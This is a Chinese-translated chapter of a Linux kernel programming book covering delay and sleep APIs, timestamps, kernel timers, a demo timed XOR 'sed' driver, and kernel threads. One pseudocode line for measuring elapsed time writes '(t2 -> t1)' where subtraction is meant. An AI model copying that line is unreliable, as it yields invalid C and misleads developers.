正如您所知,Linux 上的睡眠可以分为两种类型:可中断和不可中断。后者意味着没有信号任务可以“打扰”睡眠。因此,当您调用msleep(ms);时,它会通过内部调用以下内容将当前进程上下文置于睡眠状态,持续ms

__set_current_state(TASK_UNINTERRUPTIBLE);
return schedule_timeout(timeout);

schedule_timeout()例程通过设置一个内核定时器(我们下一个话题!)来工作,该定时器将在所需的时间内到期,然后立即通过调用schedule()将进程置于睡眠状态!(对于好奇的人,可以在这里查看它的代码:kernel/time/timer.c:schedule_timeout()。)msleep_interruptible()的实现非常类似,只是调用了__set_current_state(TASK_INTERRUPTIBLE);。作为设计启发,遵循提供机制,而不是策略的 UNIX 范式;这样,调用msleep_interruptible()可能是一个好主意,因为在用户空间应用程序中终止工作(例如用户按下^C)时,内核或驱动程序会顺从地释放任务:它的进程上下文被唤醒,运行适当的信号处理程序,生活继续。在内核空间不受用户生成的信号干扰很重要的情况下,使用msleep()变体。

同样,作为一个经验法则,根据延迟的持续时间使用以下 API:

  • 超过 10 毫秒的延迟msleep()msleep_interruptible()

  • 超过 1 秒的延迟ssleep()

正如你所期望的,ssleep()msleep()的简单包装;并且变成了msleep(seconds * 1000);

实现(近似)等效于用户空间sleep(3)API 的一种简单方法可以在我们的convenient.h头文件中看到;本质上,它使用了schedule_timeout()API:

#ifdef __KERNEL__
void delay_sec(long);
/*------------ delay_sec --------------------------------------------------
 * Delays execution for @val seconds.
 * If @val is -1, we sleep forever!
 * MUST be called from process context.
 * (We deliberately do not inline this function; this way, we can see it's
 * entry within a kernel stack call trace).
 */
void delay_sec(long val)
{
    asm (""); // force the compiler to not inline it!
    if (in_task()) {
        set_current_state(TASK_INTERRUPTIBLE);
        if (-1 == val)
            schedule_timeout(MAX_SCHEDULE_TIMEOUT);
        else
            schedule_timeout(val * HZ);
    } 
}
#endif /* #ifdef __KERNEL__ */

现在你已经学会了如何延迟(是的,请微笑),让我们继续学习一个有用的技能:给内核代码加上时间戳。这样可以快速计算特定代码执行所需的时间。

在内核代码中获取时间戳

能够获取准确的时间戳对内核开放使用这一设施非常重要。例如,dmesg(1)实用程序以seconds.microseconds格式显示系统启动以来的时间;Ftrace 跟踪通常显示函数执行所需的时间。在用户模式下,我们经常使用gettimeofday(2)系统调用来获取时间戳。在内核中,存在多个接口;通常使用ktime_get_*()系列例程来获取准确的时间戳。对于我们的目的,以下例程很有用:

u64 ktime_get_real_ns(void);

这个例程通过ktime_get_real()API 内部查询墙(时钟)时间,然后将结果转换为纳秒数量。我们不会在这里烦恼内部细节。此外,这个 API 还有几个变体;例如,ktime_get_real_fast_ns()ktime_get_real_ts64()等。前者既快速又 NMI 安全。

现在你知道如何获取时间戳,你可以计算一段代码执行所需的时间,而且精度相当高,甚至可以达到纳秒级别的分辨率!你可以使用以下伪代码来实现这一点:

#include <linux/ktime.h>
t1 = ktime_get_real_ns();
foo();
bar();
t2 = ktime_get_real_ns();
time_taken_ns = (t2 -> t1);

在这里,计算了(虚构的)foo()bar()函数执行所需的时间,并且结果(以纳秒为单位)存储在time_taken_ns变量中。<linux/ktime.h>内核头文件本身包括了<linux/timekeeping.h>头文件,其中定义了ktime_get_*()系列例程。

在我们的convenient.h头文件中提供了一个宏来帮助你计算两个时间戳之间的时间:SHOW_DELTA(later, earlier);。确保将后一个时间戳作为第一个参数,第一个时间戳作为第二个参数。

下一节的代码示例将帮助我们采用这种方法。

让我们来试试看-延迟和睡眠实际上需要多长时间?

到目前为止,你已经知道如何使用*delay()*sleep()API 来构建延迟和睡眠(非阻塞和阻塞)。不过,我们还没有真正在内核模块中尝试过。而且,延迟和睡眠是否像我们所相信的那样准确呢?让我们像往常一样经验主义(这很重要!)而不是做任何假设。让我们亲自尝试一下!

我们将在本小节中查看的演示内核模块执行两种延迟,顺序如下:

  • 首先,它使用*delay()例程(您在理解如何使用delay()原子**API*部分中了解到)来实现 10 纳秒、10 微秒和 10 毫秒的原子非阻塞延迟。

  • 接下来,它使用*sleep()例程(您在理解如何使用sleep()阻塞**API*部分中了解到)来实现 10 微秒、10 毫秒和 1 秒的阻塞延迟。

我们这样调用这段代码:

DILLY_DALLY("udelay() for     10,000 ns", udelay(10));

这里,DILLY_DALLY()是一个自定义宏。其实现如下:

// ch5/delays_sleeps/delays_sleeps.c
/*
 * DILLY_DALLY() macro:
 * Runs the code @run_this while measuring the time it takes; prints the string
 * @code_str to the kernel log along with the actual time taken (in ns, us
 * and ms).
 * Macro inspired from the book 'Linux Device Drivers Cookbook', PacktPub.
 */
#define DILLY_DALLY(code_str, run_this) do {    \
    u64 t1, t2;                                 \
    t1 = ktime_get_real_ns();                   \
 run_this;                                   \
 t2 = ktime_get_real_ns();                   \
    pr_info(code_str "-> actual: %11llu ns = %7llu us = %4llu ms\n", \
        (t2-t1), (t2-t1)/1000, (t2-t1)/1000000);\
} while(0)

在这里,我们以简单的方式实现了时间差计算;一个良好的实现将涉及检查t2的值是否大于t1,是否发生溢出等。

我们在内核模块的init函数中调用它,用于各种延迟和睡眠,如下所示:

    [ ... ]
    /* Atomic busy-loops, no sleep! */
    pr_info("\n1\. *delay() functions (atomic, in a delay loop):\n");
    DILLY_DALLY("ndelay() for         10 ns", ndelay(10));
    /* udelay() is the preferred interface */
    DILLY_DALLY("udelay() for     10,000 ns", udelay(10));
    DILLY_DALLY("mdelay() for 10,000,000 ns", mdelay(10));

    /* Non-atomic blocking APIs; causes schedule() to be invoked */
    pr_info("\n2\. *sleep() functions (process ctx, sleeps/schedule()'s out):\n");
    /* usleep_range(): HRT-based, 'flexible'; for approx range [10us - 20ms] */
    DILLY_DALLY("usleep_range(10,10) for 10,000 ns", usleep_range(10, 10));
    /* msleep(): jiffies/legacy-based; for longer sleeps (> 10ms) */
    DILLY_DALLY("msleep(10) for      10,000,000 ns", msleep(10));
    DILLY_DALLY("msleep_interruptible(10)         ", msleep_interruptible(10));
    /* ssleep() is a wrapper over msleep(): = msleep(ms*1000); */
    DILLY_DALLY("ssleep(1)                        ", ssleep(1));

当我们的可靠的 x86_64 Ubuntu VM 上运行内核模块时,这是一些示例输出:

图 5.1 - 部分截图显示我们的 delays_sleeps.ko 内核模块的输出

仔细研究前面的输出;奇怪的是,udelay(10)mdelay(10)例程似乎在所需的延迟期间之前完成了执行(在我们的示例输出中,分别为9 微秒9 毫秒)!为什么?事实是*delay()例程往往会提前完成。这个事实在内核源代码中有记录。让我们来看看这里的相关代码部分(这是不言自明的):

// include/linux/delay.h
/*
 [ ... ]
 * Delay routines, using a pre-computed "loops_per_jiffy" value.
 *
 * Please note that ndelay(), udelay() and mdelay() may return early for
 * several reasons:
 * 1\. computed loops_per_jiffy too low (due to the time taken to
 * execute the timer interrupt.)
 * 2\. cache behavior affecting the time it takes to execute the
 * loop function.
 * 3\. CPU clock rate changes.
 *
 * Please see this thread:
 * http://lists.openwall.net/linux-kernel/2011/01/09/56

*sleep()例程具有相反的特性;它们几乎总是比要求的时间*睡眠更长。同样,这些是标准 Linux 等非实时操作系统中预期的问题。

您可以通过几种方式减轻这些问题

  • 在标准 Linux 中,用户模式下,执行以下操作:

  • 首先,最好使用高分辨率定时器(HRT)接口以获得高精度。这又是从 RTL 项目合并到主流 Linux(早在 2006 年)的代码。它支持需要小于单个jiffy(您知道,这与定时器“tick”、内核CONFIG_HZ值紧密耦合)的分辨率的定时器;例如,当HZ值为 100 时,一个 jiffy 为 1000/100 = 10 毫秒;当HZ为 250 时,一个 jiffy 为 4 毫秒,依此类推。

  • 完成后,为什么不使用 Linux 的软实时调度功能呢?在这里,您可以指定SCHED_FIFOSCHED_RR的调度策略,并为用户模式线程设置高优先级(范围为 1 到 99;我们在配套指南Linux 内核编程第十章 CPU 调度器-第一部分中介绍了这些细节)。

大多数现代 Linux 系统都支持 HRT。但是,如何利用它呢?这很简单:建议您在用户空间编写您的定时器代码,并使用标准的 POSIX 定时器 API(例如timer_create(2)timer_settime(2)系统调用)。由于本书关注内核开发,我们不会在这里深入探讨这些用户空间 API。实际上,这个主题在我的早期著作Linux 系统编程实践第十三章 定时器较新的 POSIX(间隔)定时器部分有详细介绍。

  • 内核开发人员已经费心清楚地记录了一些关于在内核中使用这些延迟和睡眠 API 时的出色建议。非常重要的是,您浏览一下官方内核文档中的这份文件:www.kernel.org/doc/Documentation/timers/timers-howto.rst

  • 将 Linux OS 配置为 RTOS 并构建;这将显著减少调度“抖动”(我们在配套指南Linux 内核编程第十一章 CPU 调度器-第二部分将主线 Linux 转换为 RTOS部分中详细介绍了这个主题)。

有趣的是,使用我们“更好”的 Makefile 的 checkpatch 目标可能会带来真正的好处。让我们看看它(内核的 checkpatch Perl 脚本)已经捕捉到了什么(首先确保你在正确的源目录中):

$ cd <...>/ch5/delays_sleeps $ make checkpatch 
make clean
[ ... ]
--- cleaning ---
[ ... ]
--- kernel code style check with checkpatch.pl ---

/lib/modules/5.4.0-58-generic/build/scripts/checkpatch.pl --no-tree -f --max-line-length=95 *.[ch]
[ ... ]
WARNING: usleep_range should not use min == max args; see Documentation/timers/timers-howto.rst
#63: FILE: delays_sleeps.c:63:
+ DILLY_DALLY("XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", usleep_range(10, 10));

total: 0 errors, 2 warnings, 79 lines checked
[ ... ]

这真的很好!确保你使用我们“更好”的Makefile中的目标(我们在伴随指南Linux 内核编程第五章,编写你的第一个内核模块 LKM - 第二部分中详细介绍了这一点,在为你的内核模块提供一个“更好”的 Makefile 模板部分)。

有了这个,我们已经完成了对内核延迟和内核内睡眠的研究。有了这个基础,你现在将学习如何在本章的其余部分设置和使用内核定时器、内核线程和工作队列。

“sed”驱动程序——演示内核定时器、内核线程和工作队列

为了使本章更有趣和实用,我们将开始演变一个名为简单加密解密的杂项字符“驱动程序”(简称sed驱动程序)(不要与著名的sed(1)实用程序混淆)。不,你猜对了也不会得到大奖,它提供了一些非常简单的文本加密/解密支持。

这里的重点是,我们应该想象在这个驱动程序的规范中,有一个条款要求工作(实际上是加密/解密功能)在给定的时间间隔内完成——实际上是在给定的截止日期内。为了检查这一点,我们将设计我们的驱动程序,使其具有一个内核定时器,在给定的时间间隔内到期;驱动程序将检查功能确实在这个时间限制内完成!

我们将演变一系列sed驱动程序及其用户空间对应程序(应用程序):

  • 第一个驱动程序——sed1驱动程序和用户模式应用程序(ch5/sed1)——将执行我们刚才描述的操作:演示用户模式应用程序将使用ioctl系统调用与驱动程序进行接口,并启动加密/解密消息功能。驱动程序将专注于一个内核定时器,我们将设置它在给定的截止日期前到期。如果它到期了,我们认为操作失败;如果没有,定时器被取消,操作就成功了。

  • 第二个版本,sed2ch5/sed2),将执行与sed1相同的操作,只是这里实际的加密/解密消息功能将在一个单独创建的内核线程的上下文中执行!这改变了项目的设计。

  • 第三个版本,sed3ch5/sed3),将再次执行与sed1sed2相同的操作,只是这次实际的加密/解密消息功能将由内核工作队列执行!

现在你已经学会了如何执行延迟(原子和阻塞)和捕获时间戳,让我们学习如何设置和使用内核定时器。

设置和使用内核定时器

定时器提供了软件在指定时间过去时异步通知的手段。各种软件,无论是在用户空间还是内核空间,都需要定时器;这通常包括网络协议实现、块层代码、设备驱动程序和各种内核子系统。这个定时器提供了异步通知的手段,从而允许驱动程序与运行的定时器并行执行工作。一个重要的问题是,我怎么知道定时器何时到期?在用户空间应用程序中,通常情况下,内核会向相关进程发送一个信号(信号通常是SIGALRM)。

在内核空间中,这有点微妙。正如您从我们对硬件中断的上半部分和下半部分的讨论中所了解的(请参阅第四章,处理硬件中断理解和使用上半部分和下半部分部分),在定时器中断的上半部分(或 ISR)完成后,内核将确保运行定时器中断的下半部分或定时器 softirq(正如我们在第四章中所示,处理硬件中断部分可用的 softirq 及其用途)。这是一个非常高优先级的 softirq,称为TIMER_SOFTIRQ。这个 softirq 就是消耗已到期的定时器!实际上-这一点非常重要-您的定时器的“回调”函数-定时器到期时将运行的函数-由定时器 softirq 运行因此在原子(中断)上下文中运行。因此,它在能够和不能做的方面受到限制(同样,这在第四章处理硬件中断中有详细解释)。

在下一节中,您将学习如何设置和使用内核定时器。

使用内核定时器

要使用内核定时器,您必须遵循一些步骤。简而言之,要做的是(我们稍后会详细讨论):

  1. 使用timer_setup()宏初始化定时器元数据结构(struct timer_list)。这里初始化的关键项目如下:
  • 到期时间(jiffies应达到的值,定时器才会到期)

  • 定时器到期时要调用的函数-实际上是定时器的“回调”函数

  1. 编写定时器回调例程的代码。

  2. 在适当的时候,“启动”定时器-也就是,通过调用add_timer()(或mod_timer())函数来启动。

  3. 当定时器超时(到期)时,操作系统将自动调用您的定时器回调函数(在步骤 2中设置的函数);请记住,它将在定时器 softirq 或原子或中断上下文中运行。

  4. (可选)定时器默认不是循环的,它们默认是一次性的。要使定时器再次运行,您将需要调用mod_timer() API;这是如何设置间隔定时器-在给定的固定时间间隔后超时。如果不执行此步骤,您的定时器将是一次性定时器-它将倒计时并到期一次。

  5. 完成后,使用del_timer[_sync]()删除定时器;这也可以用于取消超时。它返回一个值,表示是否已停用挂起的定时器;也就是说,对于活动定时器返回1,对于被取消的非活动定时器返回0

timer_list数据结构是我们这里相关的;其中,相关成员(模块/驱动程序作者)如下所示:

// include/linux/timer.h
struct timer_list {[ ... ]
    unsigned long expires;
    void (*function)(struct timer_list *);
    u32 flags; 
[ ...] };

使用timer_setup()宏进行初始化:

timer_setup(timer, callback, flags);

timer_setup()的参数如下:

  • @timer:指向timer_list数据结构的指针(这应该首先分配内存;另外,用@作为形式参数名的前缀是一种常见的约定)。

  • @callback:回调函数的指针。这是操作系统在定时器到期时调用的函数(在 softirq 上下文中)。它的签名是void (*function)(struct timer_list *);。回调函数中接收的参数是指向timer_list数据结构的指针。那么,我们如何在定时器回调中传递和访问一些任意数据呢?我们很快就会回答这个问题。

  • @flags:这些是定时器标志。我们通常将其传递为0(意味着没有特殊行为)。您可以指定的标志是TIMER_DEFERRABLETIMER_PINNEDTIMER_IRQSAFE。让我们在内核源代码中看一下:

// include/linux/timer.h
/**
 * @TIMER_DEFERRABLE: A deferrable timer will work normally when the
 * system is busy, but will not cause a CPU to come out of idle just
 * to service it; instead, the timer will be serviced when the CPU
 * eventually wakes up with a subsequent non-deferrable timer.
  [ ... ]
 * @TIMER_PINNED: A pinned timer will not be affected by any timer
 * placement heuristics (like, NOHZ) and will always expire on the CPU
 * on which the timer was enqueued.

在必要时,使用TIMER_DEFERRABLE标志是有用的,当需要监视功耗时(例如在备电设备上)。第三个标志TIMER_IRQSAFE只是特定目的;避免使用它。

接下来,使用add_timer() API 来启动定时器。一旦调用,定时器就是“活动的”并开始倒计时:

void add_timer(struct timer_list *timer);

它的参数是你刚刚初始化的timer_list结构的指针(通过timer_setup()宏)。

我们的简单内核定时器模块-代码视图 1

不多说了,让我们来看一下使用可加载内核模块LKM)框架编写的简单内核定时器代码的第一部分(可以在ch5/timer_simple找到)。和大多数驱动程序一样,我们保留一个包含在运行时所需的信息的上下文或私有数据结构;在这里,我们称之为st_ctx。我们将其实例化为ctx变量。我们还在一个名为exp_ms的全局变量中指定了过期时间(为 420 毫秒)。

// ch5/timer_simple/timer_simple.c
#include <linux/timer.h>
[ ... ]
static struct st_ctx {
    struct timer_list tmr;
    int data;
} ctx;
static unsigned long exp_ms = 420;

现在,让我们来看一下我们init代码的第一部分:

static int __init timer_simple_init(void)
{
    ctx.data = INITIAL_VALUE;

    /* Initialize our kernel timer */
    ctx.tmr.expires = jiffies + msecs_to_jiffies(exp_ms);
    ctx.tmr.flags = 0;
    timer_setup(&ctx.tmr, ding, 0);

这非常简单。首先,我们初始化ctx数据结构,将data成员设置为值3。这里的一个关键点是timer_list结构在我们的ctx结构内部,所以我们必须初始化它。现在,设置定时器回调函数(function参数)和flags参数的值很简单;那么设置过期时间呢?你必须将timer_list.expires成员设置为内核中jiffies变量(实际上是宏)必须达到的值;在那一点,定时器将会过期!所以,我们设置它在未来 420 毫秒后过期,方法是将当前的 jiffies 值加到 420 毫秒经过的 jiffies 值上,就像这样:

ctx.tmr.expires = jiffies + msecs_to_jiffies(exp_ms);

msecs_to_jiffies()方便的例程在这里帮了我们一个忙,因为它将传递给jiffies的毫秒值转换了一下。将这个结果加到当前的jiffies值上将会给我们一个jiffies在未来的值,在 420 毫秒后,也就是我们希望内核定时器过期的时间。

这段代码是在include/linux/jiffies.h:msecs_to_jiffies()中的一个内联函数;注释帮助我们理解它是如何工作的。同样地,内核包含了usecs_to_jiffies()nsecs_to_jiffies()timeval_to_jiffies()jiffies_to_timeval()(内联)函数辅助例程。

init代码的下一部分如下:

    pr_info("timer set to expire in %ld ms\n", exp_ms);
    add_timer(&ctx.tmr); /* Arm it; let's get going! */
    return 0;     /* success */
}

正如我们所看到的,通过调用add_timer() API,我们已经启动了我们的内核定时器。它现在是活动的并且在倒计时……大约 420 毫秒后,它将会过期。(为什么是大约?正如你在让我们试试吧-延迟和睡眠到底需要多长时间?部分看到的,延迟和睡眠的 API 并不是那么精确。事实上,一个建议给你后续工作的练习是测试超时的准确性;你可以在Questions/kernel_timer_check部分找到这个。此外,在这个练习的一个示例解决方案中,我们将展示使用time_after()宏是一个好主意;它执行一个有效性检查,以确保第二个时间戳实际上比第一个晚。类似的宏可以在include/linux/jiffies.h中找到;请参阅这一行之前的注释:include/linux/jiffies.h:#define time_after(a,b))。

我们的简单内核定时器模块-代码视图 2

add_timer()启动了我们的内核定时器。正如你刚才看到的,它很快就会过期。内部地,正如我们之前提到的,内核的定时器软中断将运行我们的定时器回调函数。在前面的部分,我们初始化了回调函数为ding()函数(哈,拟声词 - 一个描述它所描述的声音的词 - 在行动中!)通过timer_setup() API。因此,当定时器过期时,这段代码将会运行:

static void ding(struct timer_list *timer)
{
    struct st_ctx *priv = from_timer(priv, timer, tmr);
    /* from_timer() is in fact a wrapper around the well known
     * container_of() macro! This allows us to retrieve access to our
     * 'parent' driver context structure */
    pr_debug("timed out... data=%d\n", priv->data--);
    PRINT_CTX();

    /* until countdown done, fire it again! */
    if (priv->data)
        mod_timer(&priv->tmr, jiffies + msecs_to_jiffies(exp_ms));
}

关于这个函数有一些事情需要记住:

  • 定时器回调处理程序代码(这里是ding())在原子(中断,软中断)上下文中运行;因此,你不被允许调用任何阻塞 API,内存分配除了使用GFP_ATOMIC标志之外,或者在内核和用户空间之间进行任何数据传输(我们在前一章的中断上下文指南-要做什么和不要做什么部分详细介绍了这一点)。

  • 回调函数接收timer_list结构的指针作为参数。由于我们非常有意地将struct timer_list保留在我们的上下文或私有数据结构中,我们可以有用地使用from_timer()宏来检索指向我们私有结构的指针;也就是struct st_ctx)。前面显示的代码的第一行就是这样做的。这是如何工作的?让我们看看它的实现:

 // include/linux/timer.h
 #define from_timer(var, callback_timer, timer_fieldname) \
           container_of(callback_timer, typeof(*var), timer_fieldname)

它实际上是container_of()宏的包装器!

  • 然后,我们打印并减少我们的data值。

  • 然后我们发出我们的PRINT_CTX()宏(回想一下,它是在我们的convenient.h头文件中定义的)。它将显示我们正在 softirq 上下文中运行。

  • 接下来,只要我们的数据成员是正数,我们就通过调用mod_timer()API 来强制另一个超时(相同的时间段):

int mod_timer(struct timer_list *timer, unsigned long expires);

如您所见,使用mod_timer(),定时器再次触发完全取决于您;这被认为是更新定时器到期日期的有效方法。通过使用mod_timer(),甚至可以启动非活动定时器(add_timer()的工作);在这种情况下,返回值为0,否则为1(意味着我们修改了现有的活动定时器)。

我们的简单内核定时器模块 - 运行它

现在,让我们测试我们的内核定时器模块。在我们的 x86_64 Ubuntu VM 上,我们将使用我们的lkm便利脚本来加载内核模块。以下截图显示了这个过程的部分视图和内核日志:

图 5.2 - 运行我们的 timer_simple.ko 内核模块的部分截图

研究这里显示的dmesg(内核日志)输出。由于我们将私有结构的data成员的初始值设置为3,内核定时器会过期三次(正如我们的逻辑要求的那样)。查看最左边的时间戳;您可以看到第二个定时器到期发生在4234.289334(秒.微秒),第三个在4234.737346;快速减法表明时间差为 448,012 微秒;即约 448 毫秒。这是合理的,因为我们要求的超时为 420 毫秒(略高于此;printks 的开销也很重要)。

PRINT_CTX()宏的输出也很有启发性;让我们看看前面截图中显示的第二个:

[ 4234.290177] timer_simple:ding(): 001) [swapper/1]:0   |  ..s1   /* ding() */

这表明(如第四章中详细解释的那样,处理硬件中断),代码在 CPU 1(001)上以 softirq 上下文(s..s1中)运行。此外,被定时器中断和 softirq 中断的进程上下文是swapper/1内核线程;这是 CPU 1 上空闲时运行的 CPU 空闲线程。这是合理的,在空闲或轻负载系统上很典型。当定时器中断被启动并随后的 softirq 到来并运行我们的定时器回调时,系统(或至少 CPU 1)是空闲的。

sed1 - 使用我们的演示 sed1 驱动程序实现超时

在这一部分,我们将编写一个更有趣的驱动程序(代码可以在ch5/sed1/sed1_driver中找到)。我们将设计它以便加密和/或解密给定的消息(当然非常简单)。基本思想是用户模式应用程序(可以在ch5/userapp_sed中找到)作为其用户界面。运行时,它打开我们的misc字符驱动程序的设备文件(/dev/sed1_drv)并对其进行ioctl(2)系统调用。

我们提供了在线材料,以帮助您了解如何通过几种常见方法将内核模块或设备驱动程序与用户空间进程进行接口:通过 procfs、sysfs、debugfs、netlink 套接字和ioctl()系统调用(github.com/PacktPublishing/Learn-Linux-Kernel-Development/raw/master/User_kernel_communication_pathways.pdf)!

ioctl()调用传递了一个封装传递的数据、其长度、要对其执行的操作(或转换)以及timed_out字段的数据结构(以确定是否由于未能在截止日期前完成而失败)。有效的操作如下:

  • 加密:XF_ENCRYPT

  • 解密:XF_DECRYPT

由于空间不足,我们不打算在这里详细显示代码 - 毕竟,阅读了这么多书,现在你已经有能力自己浏览和理解代码了!尽管如此,与本节相关的某些关键细节将被显示。

让我们来看一下它的整体设计:

  • 我们的sed1驱动程序(ch5/sed1/sed1_driver/sed1_drv.c)实际上是一个伪驱动程序,它不是在任何外围硬件控制器或芯片上运行,而是在内存上运行;尽管如此,它是一个完整的misc类字符设备驱动程序。

  • 它注册自己作为一个misc设备;在这个过程中,内核会自动创建一个设备节点(这里我们称之为/dev/sed1_drv)。

  • 我们安排它有一个驱动程序“上下文”结构(struct stMyCtx),其中包含它在整个过程中使用的关键成员;其中一个是用于内核定时器的struct timer_list结构,在init代码路径中进行初始化(使用timer_setup()API)。

  • 一个用户空间应用程序(ch5/sed1/userapp_sed/userapp_sed1.c)打开我们的sed1驱动程序的设备文件(它作为参数传递给它,以及要加密的消息)。它调用了一个ioctl(2)系统调用 - 命令是加密 - 以及arg参数,它是一个指向包含所有必需信息的结构的指针(包括要加密的消息负载)。让我们简要看一下:

​ kd->data_xform = XF_ENCRYPT;
 ioctl(fd, IOCTL_LLKD_SED_IOC_ENCRYPT_MSG, kd);
  • 我们的sed1驱动程序的ioctl方法接管。在执行有效性检查后,它复制元数据结构(通过通常的copy_from_user())并启动我们的process_it()函数,然后调用我们的encrypt_decrypt_payload()例程。

  • encrypt_decrypt_payload()是关键例程。它做以下事情:

  • 启动我们的内核定时器(使用mod_timer()API),设置它在TIMER_EXPIRE_MS毫秒后过期(这里,我们将TIMER_EXPIRE_MS设置为1)。

  • 获取时间戳,t1 = ktime_get_real_ns();

  • 启动实际工作 - 它是加密还是解密操作(我们保持它非常简单:对负载的每个字节进行简单的XOR操作,然后递增;解密时相反)。

  • 工作完成后,立即做两件事:获取第二个时间戳,t2 = ktime_get_real_ns();,并取消内核定时器(使用del_timer()API)。

  • 显示完成所需的时间(通过我们的SHOW_DELTA()宏)。

  • 然后用户空间应用程序休眠 1 秒钟(以收集自己),并运行ioctl解密,导致我们的驱动程序解密消息。

  • 最后,终止。

以下是sed1驱动程序的相关代码:

// ch5/sed1/sed1_driver/sed1_drv.c
[ ... ]
static void encrypt_decrypt_payload(int work, struct sed_ds *kd, struct sed_ds *kdret)
{
        int i;
        ktime_t t1, t2;   // a s64 qty
        struct stMyCtx *priv = gpriv;
        [ ... ]
        /* Start - the timer; set it to expire in TIMER_EXPIRE_MS ms */
        mod_timer(&priv->timr, jiffies + msecs_to_jiffies(TIMER_EXPIRE_MS));
        t1 = ktime_get_real_ns();

        // perform the actual processing on the payload
        memcpy(kdret, kd, sizeof(struct sed_ds));
        if (work == WORK_IS_ENCRYPT) {
                for (i = 0; i < kd->len; i++) {
                        kdret->data[i] ^= CRYPT_OFFSET;
                        kdret->data[i] += CRYPT_OFFSET;
                }
        } else if (work == WORK_IS_DECRYPT) {
                for (i = 0; i < kd->len; i++) {
                        kdret->data[i] -= CRYPT_OFFSET;
                        kdret->data[i] ^= CRYPT_OFFSET;
                }
        }
        kdret->len = kd->len;
        // work done!
        [ ... // code to miss the deadline here! (explained below) ... ]
        t2 = ktime_get_real_ns();

        // work done, cancel the timeout
        if (del_timer(&priv->timr) == 0)
                pr_debug("cancelled the timer while it's inactive! (deadline missed?)\n");
        else
                pr_debug("processing complete, timeout cancelled\n");
        SHOW_DELTA(t2, t1);
}

就是这样!为了了解它是如何工作的,让我们看看它的运行情况。首先,我们必须插入我们的内核驱动程序(LKM):

$ sudo insmod ./sed1_drv.ko
$ dmesg 
[29519.684832] misc sed1_drv: LLKD sed1_drv misc driver (major # 10) registered, minor# = 55,
 dev node is /dev/sed1_drv
[29519.689403] sed1_drv:sed1_drv_init(): init done (make_it_fail is off)
[29519.690358] misc sed1_drv: loaded.
$ 

以下截图显示了它加密和解密的示例运行(这里我们故意运行了这个应用的Address SanitizerASan)调试版本;这可能会暴露 bug,所以为什么不呢!):

图 5.3 - 我们的sed1迷你项目在规定的截止日期内加密和解密消息

一切进行得很顺利。

让我们来看看我们内核定时器回调函数的代码。在我们简单的sed1驱动程序中,我们只需要让它做以下事情:

  • 原子地将我们私有结构中的整数timed_out设置为1,表示失败。当我们将数据结构通过ioctl()复制回用户模式应用程序时,这允许它轻松检测失败并报告/记录它(有关使用原子操作符等更多细节将在本书的最后两章中介绍)。

  • 向内核日志发出printk(在KERN_NOTICE级别),指示我们超时了。

  • 调用我们的PRINT_CTX()宏来显示上下文细节。

我们的内核定时器回调函数的代码如下:

static void timesup(struct timer_list *timer)
{
    struct stMyCtx *priv = from_timer(priv, timer, timr);

    atomic_set(&priv->timed_out, 1);
    pr_notice("*** Timer expired! ***\n");
    PRINT_CTX();
}

我们能看到这段代码 - timesup()定时器到期函数 - 运行吗?我们安排下一步就是这样做。

故意错过公交车

我之前遗漏的部分是一个有趣的细节:就在第二个时间戳被取之前,我们插入了一小段代码,故意错过了神圣的截止日期!怎么做?实际上非常简单:

static void encrypt_decrypt_payload(int work, struct sed_ds *kd, struct sed_ds *kdret)
{
    [ ... ]
    // work done!
    if (make_it_fail == 1)
 msleep(TIMER_EXPIRE_MS + 1);
    t2 = ktime_get_real_ns();

make_it_fail是一个模块参数,默认设置为0;因此,只有当你想要冒险(是的,有点夸张!)时,你才应该将其传递为1。让我们试一试,看看我们的内核定时器何时到期。用户模式应用程序也会检测到这一点,并报告失败:

图 5.4 - 我们的 sed1 迷你项目运行时,make_it_fail 模块参数设置为 1,导致截止日期被错过

这次,截止日期在定时器被取消之前就已经过期,因此导致它到期并触发。它的timesup()回调函数随后运行(在前面的截图中突出显示)。我强烈建议您花时间详细阅读驱动程序和用户模式应用程序的代码,并自行尝试。

我们之前简要使用的schedule_timeout()函数是使用内核定时器的一个很好的例子!它的内部实现可以在这里看到:kernel/time/timer.c:schedule_timeout().

关于定时器的其他信息可以在proc文件系统中找到;其中相关的(伪)文件包括/proc/[pid]/timers(每个进程的 POSIX 定时器)和/proc/timer_list伪文件(其中包含有关所有待处理的高分辨率定时器以及所有时钟事件源的信息。请注意,内核版本 4.10 之后,/proc/timer_stats伪文件消失了)。您可以在关于proc(5)的 man 页面上找到更多关于它们的信息,网址为man7.org/linux/man-pages/man5/proc.5.html

在下一节中,您将学习如何创建和使用内核线程以使其对您有利。继续阅读!

创建和使用内核线程

线程是一个执行路径;它纯粹关注执行给定的函数。那个函数就是它的生命和范围;一旦它从那个函数返回,它就死了。在用户空间,线程是进程内的执行路径;进程可以是单线程或多线程的。在许多方面,内核线程与用户模式线程非常相似。在内核空间,线程也是一个执行路径,只是它在内核 VAS 中运行,具有内核特权。这意味着内核也是多线程的。快速查看ps(1)的输出(使用伯克利软件发行版BSD)风格的aux选项开关运行)可以显示出内核线程 - 它们的名称被括在方括号中:

$ ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY        STAT START   TIME COMMAND
root           1  0.0  0.5 167464 11548 ?          Ss   06:20   0:00 /sbin/init splash 3
root           2  0.0  0.0      0     0 ?          S    06:20   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?          I<   06:20   0:00 [rcu_gp]
root           4  0.0  0.0      0     0 ?          I<   06:20   0:00 [rcu_par_gp]
root           6  0.0  0.0      0     0 ?          I<   06:20   0:00 [kworker/0:0H-kblockd]
root           9  0.0  0.0      0     0 ?          I<   06:20   0:00 [mm_percpu_wq]
root          10  0.0  0.0      0     0 ?          S    06:20   0:00 [ksoftirqd/0]
root          11  0.0  0.0      0     0 ?          I    06:20   0:05 [rcu_sched]
root          12  0.0  0.0      0     0 ?          S    06:20   0:00 [migration/0]
[ ... ]
root          18  0.0  0.0      0     0 ?          S    06:20   0:00 [ksoftirqd/1]
[ ... ]

